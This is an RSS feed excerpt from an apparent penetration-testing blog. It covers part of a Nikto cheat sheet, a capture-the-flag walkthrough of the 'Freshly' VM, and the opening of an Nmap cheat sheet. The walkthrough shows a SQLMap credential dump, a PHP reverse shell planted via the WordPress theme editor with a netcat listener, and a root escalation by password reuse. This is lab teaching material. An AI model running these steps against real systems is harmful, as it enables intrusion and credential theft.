    &lt;td&gt;&lt;p&gt;&lt;code&gt;nikto -h [target] -ssl&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Scan using SSL.&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;nikto -h [target] -nointeractive&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Run the scan non-interactively.&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;nikto-using-a-proxy&quot;&gt;Nikto Using a Proxy&lt;/h3&gt;

&lt;p&gt;Using Nikto with a proxy such as Burp or another intercepting proxy.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-useproxy&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;Enable usage of the HTTP/SOCKS proxy&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-noproxy&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;Specify comma separated list of hosts not to use proxy for&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-proxyhost&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;Hostname or IP address of the HTTP/SOCKS proxy&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-proxyport&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;Port of the HTTP/SOCKS proxy&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-proxypass&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;Password for the HTTP/SOCKS proxy&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-proxyuser&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;Username for the HTTP/SOCKS proxy&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;nikto2-features&quot;&gt;Nikto2 Features&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;SSL Support (Unix with OpenSSL or maybe Windows with ActiveState’s Perl/NetSSL)&lt;/li&gt;
  &lt;li&gt;Full HTTP proxy support&lt;/li&gt;
  &lt;li&gt;Checks for outdated server components&lt;/li&gt;
  &lt;li&gt;Save reports in plain text, XML, HTML, NBE or CSV&lt;/li&gt;
  &lt;li&gt;Template engine to easily customize reports&lt;/li&gt;
  &lt;li&gt;Scan multiple ports on a server, or multiple servers via input file (including nmap output)&lt;/li&gt;
  &lt;li&gt;LibWhisker’s IDS encoding techniques&lt;/li&gt;
  &lt;li&gt;Easily updated via command line&lt;/li&gt;
  &lt;li&gt;Identifies installed software via headers, favicons and files&lt;/li&gt;
  &lt;li&gt;Host authentication with Basic and NTLM&lt;/li&gt;
  &lt;li&gt;Subdomain guessing&lt;/li&gt;
  &lt;li&gt;Apache and cgiwrap username enumeration&lt;/li&gt;
  &lt;li&gt;Mutation techniques to “fish” for content on web servers&lt;/li&gt;
  &lt;li&gt;Scan tuning to include or exclude entire classes of vulnerability checks&lt;/li&gt;
  &lt;li&gt;Guess credentials for authorization realms (including many default id/pw combos)&lt;/li&gt;
  &lt;li&gt;Authorization guessing handles any directory, not just the root directory&lt;/li&gt;
  &lt;li&gt;Enhanced false positive reduction via multiple methods: headers, page content, and content hashing&lt;/li&gt;
  &lt;li&gt;Reports “unusual” headers seen&lt;/li&gt;
  &lt;li&gt;Interactive status, pause and changes to verbosity settings&lt;/li&gt;
  &lt;li&gt;Save full request/response for positive tests&lt;/li&gt;
  &lt;li&gt;Replay saved positive requests&lt;/li&gt;
  &lt;li&gt;Maximum execution time per target&lt;/li&gt;
  &lt;li&gt;Auto-pause at a specified time&lt;/li&gt;
  &lt;li&gt;Checks for common “parking” sites&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you found this Nikto cheat sheet useful, please share it below.&lt;/p&gt;

&lt;h2 id=&quot;document-changelog&quot;&gt;Document Changelog&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Last Updated:&lt;/strong&gt; 12/02/2024 (12th of February 2024)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Author:&lt;/strong&gt; Dhruv Ambaliya&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Checked syntax was current for latest version of Nikto.&lt;/li&gt;
&lt;/ul&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Freshly Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/freshly-walkthrough/</link>
          <pubDate>Thu, 14 Dec 2023 00:00:00 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/freshly-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#port-scanning&quot; id=&quot;markdown-toc-port-scanning&quot;&gt;Port Scanning&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#service-enumeration&quot; id=&quot;markdown-toc-service-enumeration&quot;&gt;Service Enumeration&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#http-enumeration&quot; id=&quot;markdown-toc-http-enumeration&quot;&gt;HTTP Enumeration&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sql-injection&quot; id=&quot;markdown-toc-sql-injection&quot;&gt;SQL Injection&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#wordpress---reverse-php-shell&quot; id=&quot;markdown-toc-wordpress---reverse-php-shell&quot;&gt;Wordpress - Reverse PHP Shell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#privilege-escalation&quot; id=&quot;markdown-toc-privilege-escalation&quot;&gt;Privilege Escalation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#post-exploitation-enumeration&quot; id=&quot;markdown-toc-post-exploitation-enumeration&quot;&gt;Post Exploitation Enumeration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;The goal of this challenge is to break into the machine via the web and find the secret hidden in a sensitive file. If you can find the secret, send me an email for verification.&lt;/p&gt;

&lt;h3 id=&quot;port-scanning&quot;&gt;Port Scanning&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 1-65535 &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sT&lt;/span&gt; 10.0.1.109&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;service-enumeration&quot;&gt;Service Enumeration&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;64 Apache httpd 2.4.7 ((Ubuntu))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 443&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;HTTPS&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 8080&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;http-enumeration&quot;&gt;HTTP Enumeration&lt;/h3&gt;

&lt;p&gt;Enumeration of port 80, discovered &lt;code&gt;login.php&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/freshly/dirbuster.png&quot; alt=&quot;dirbuster&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/freshly/login.png&quot; alt=&quot;login form sqli&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;sql-injection&quot;&gt;SQL Injection&lt;/h2&gt;

&lt;p&gt;The discovered form was vulnerable to a time-based &lt;a href=&quot;/penetration-testing/web-app/sql-injection/&quot;&gt;SQL injection&lt;/a&gt;, SQLMap was used to expose the following databases:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;available databases &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;7]:
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; information_schema
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; login
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; mysql
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; performance_schema
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; phpmyadmin
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; wordpress8080&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;SQLMap was used to dump the &lt;strong&gt;wordpress8080&lt;/strong&gt; database:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://10.0.1.109/login.php&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--forms&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-D&lt;/span&gt; wordpress8080 &lt;span class=&quot;nt&quot;&gt;-T&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--risk&lt;/span&gt; 1 &lt;span class=&quot;nt&quot;&gt;--dbms&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;mysql &lt;span class=&quot;nt&quot;&gt;--dump&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Discovered credentials:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Database: wordpress8080
Table: &lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;1 entry]
+----------+---------------------+
| username | password            |
+----------+---------------------+
| admin    | SuperSecretPassword |
+----------+---------------------+&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;wordpress---reverse-php-shell&quot;&gt;Wordpress - Reverse PHP Shell&lt;/h2&gt;

&lt;p&gt;Wordpress was accessible on port &lt;code&gt;443&lt;/code&gt; and port &lt;code&gt;8080&lt;/code&gt;. Authentication was successful using the discovered credentials and a PHP reverse shell was introduced to the sites source code via the wordpress theme editor.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Username&lt;/th&gt;
      &lt;th&gt;Password&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;b&gt;admin&lt;/b&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;SuperSecretPassword&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/freshly/wordpress-php-shell.png&quot; alt=&quot;wordpress reverse php shell&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A reverse shell successfully connected back:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# nc &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 443           
listening on &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;any] 443 ...
connect to &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;10.0.1.110] from &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UNKNOWN&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;10.0.1.109] 37912
Linux Freshly 3.13.0-45-generic &lt;span class=&quot;c&quot;&gt;#74-Ubuntu SMP Tue Jan 13 19:37:48 UTC 2015 i686 i686 i686 GNU/Linux&lt;/span&gt;
 13:26:49 up 46 min,  0 &lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt;,  load average: 0.00, 0.01, 0.46
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;daemon&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;daemon&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;daemon&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
/bin/sh: 0: can&lt;span class=&quot;s1&quot;&gt;&apos;t access tty; job control turned off
$&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;privilege-escalation&quot;&gt;Privilege Escalation&lt;/h2&gt;

&lt;p&gt;Account credential reuse from the Wordpress admin password &lt;code&gt;SuperSecretPassword&lt;/code&gt; allowed &lt;code&gt;su -&lt;/code&gt; to escalate privileges to root.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;python &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;&lt;/span&gt;
daemon@Freshly:/&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id
id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;daemon&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;daemon&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;daemon&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

daemon@Freshly:/&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;su -
su -
Password: SuperSecretPassword

root@Freshly:~# &lt;span class=&quot;nb&quot;&gt;id
id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;post-exploitation-enumeration&quot;&gt;Post Exploitation Enumeration&lt;/h2&gt;

&lt;p&gt;The file &lt;code&gt;/etc/passwd&lt;/code&gt; contained the text:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@Freshly:/# &lt;span class=&quot;nb&quot;&gt;tail&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 5 /etc/passwd
&lt;span class=&quot;nb&quot;&gt;tail&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 5 /etc/passwd
user:x:1000:1000:user,,,:/home/user:/bin/bash
mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false
candycane:x:1001:1001::/home/candycane:
&lt;span class=&quot;c&quot;&gt;# YOU STOLE MY SECRET FILE!&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# SECRET = &quot;NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Additionally the file &lt;code&gt;/etc/shadow&lt;/code&gt; had incorrect permissions allowing a non privileged user read access, allowing for offline password cracking using Hashcat / JTR.&lt;/p&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Nmap Cheat Sheet: Commands, Flags, Switches &amp; Examples (2024)</title>
          <link>https://hacksofdhruv.me/blog/nmap-cheat-sheet/</link>
          <pubDate>Wed, 13 Dec 2023 10:37:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>cheat-sheet</category>
          
          <category>Pen-Testing</category>
          
          <category>Enumeration</category>
          
          <category>host-enum</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/nmap-cheat-sheet/</guid>
          <description>&lt;p&gt;The following Nmap cheat sheet aims to explain what Nmap is, what it does, and how to use it by providing Nmap command examples in a cheat sheet style documentation format.&lt;/p&gt;

&lt;p&gt;Orignal Published Date: 13th December 2023&lt;/p&gt;

&lt;h2 id=&quot;what-is-nmap&quot;&gt;What is Nmap?&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Nmap&lt;/strong&gt; (network mapper), the god of port scanners used for network discovery and the basis for most security enumeration during the initial stages of a &lt;a href=&quot;/penetration-testing/&quot;&gt;penetration test&lt;/a&gt;. The tool was written and maintained by Fyodor AKA Gordon Lyon.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://nmap.org&quot;&gt;Nmap&lt;/a&gt; displays exposed services on a target machine along with other useful information such as the verion and OS detection.&lt;/p&gt;

&lt;p&gt;Nmap has made twelve movie appearances, including The Matrix Reloaded, Die Hard 4, Girl With the Dragon Tattoo, and The Bourne Ultimatum.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/nmap-trinity.png&quot; alt=&quot;Nmap Trinity&quot; /&gt;&lt;/p&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#what-is-nmap&quot; id=&quot;markdown-toc-what-is-nmap&quot;&gt;What is Nmap?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#what-does-nmap-do&quot; id=&quot;markdown-toc-what-does-nmap-do&quot;&gt;What does Nmap do:&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#download--install-nmap&quot; id=&quot;markdown-toc-download--install-nmap&quot;&gt;Download &amp;amp; Install Nmap&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#debian--ubuntu--kali&quot; id=&quot;markdown-toc-debian--ubuntu--kali&quot;&gt;Debian / Ubuntu / Kali&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-rhel--fedora&quot; id=&quot;markdown-toc-nmap-rhel--fedora&quot;&gt;Nmap RHEL / Fedora&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-windows&quot; id=&quot;markdown-toc-nmap-windows&quot;&gt;Nmap Windows&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-macos&quot; id=&quot;markdown-toc-nmap-macos&quot;&gt;Nmap MacOS&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#nmap-commands&quot; id=&quot;markdown-toc-nmap-commands&quot;&gt;Nmap Commands&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-scan-from-file&quot; id=&quot;markdown-toc-nmap-scan-from-file&quot;&gt;Nmap scan from file&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-scan-all-ports&quot; id=&quot;markdown-toc-nmap-scan-all-ports&quot;&gt;Nmap Scan all Ports&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-output-formats&quot; id=&quot;markdown-toc-nmap-output-formats&quot;&gt;Nmap output formats&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-netbios-examples&quot; id=&quot;markdown-toc-nmap-netbios-examples&quot;&gt;Nmap Netbios Examples&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-nikto-scan&quot; id=&quot;markdown-toc-nmap-nikto-scan&quot;&gt;Nmap Nikto Scan&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#nmap-cheatsheet&quot; id=&quot;markdown-toc-nmap-cheatsheet&quot;&gt;Nmap Cheatsheet&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#target-specification&quot; id=&quot;markdown-toc-target-specification&quot;&gt;Target Specification&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#host-discovery&quot; id=&quot;markdown-toc-host-discovery&quot;&gt;Host Discovery&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#scan-techniques&quot; id=&quot;markdown-toc-scan-techniques&quot;&gt;Scan Techniques&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#port-specification-and-scan-order&quot; id=&quot;markdown-toc-port-specification-and-scan-order&quot;&gt;Port Specification and Scan Order&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#service-version-detection&quot; id=&quot;markdown-toc-service-version-detection&quot;&gt;Service Version Detection&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#script-scan&quot; id=&quot;markdown-toc-script-scan&quot;&gt;Script Scan&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#os-detection&quot; id=&quot;markdown-toc-os-detection&quot;&gt;OS Detection&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#timing-and-performance&quot; id=&quot;markdown-toc-timing-and-performance&quot;&gt;Timing and Performance&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#firewalls-ids-evasion-and-spoofing&quot; id=&quot;markdown-toc-firewalls-ids-evasion-and-spoofing&quot;&gt;Firewalls IDS Evasion and Spoofing&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-scan-output-file-options&quot; id=&quot;markdown-toc-nmap-scan-output-file-options&quot;&gt;Nmap Scan Output File Options&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#misc-nmap-options&quot; id=&quot;markdown-toc-misc-nmap-options&quot;&gt;Misc Nmap Options&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#nmap-enumeration-command-examples&quot; id=&quot;markdown-toc-nmap-enumeration-command-examples&quot;&gt;Nmap Enumeration Command Examples&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#enumerating-netbios&quot; id=&quot;markdown-toc-enumerating-netbios&quot;&gt;Enumerating Netbios&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-find-netbios-name&quot; id=&quot;markdown-toc-nmap-find-netbios-name&quot;&gt;Nmap find Netbios name.&lt;/a&gt;&lt;/li&gt;
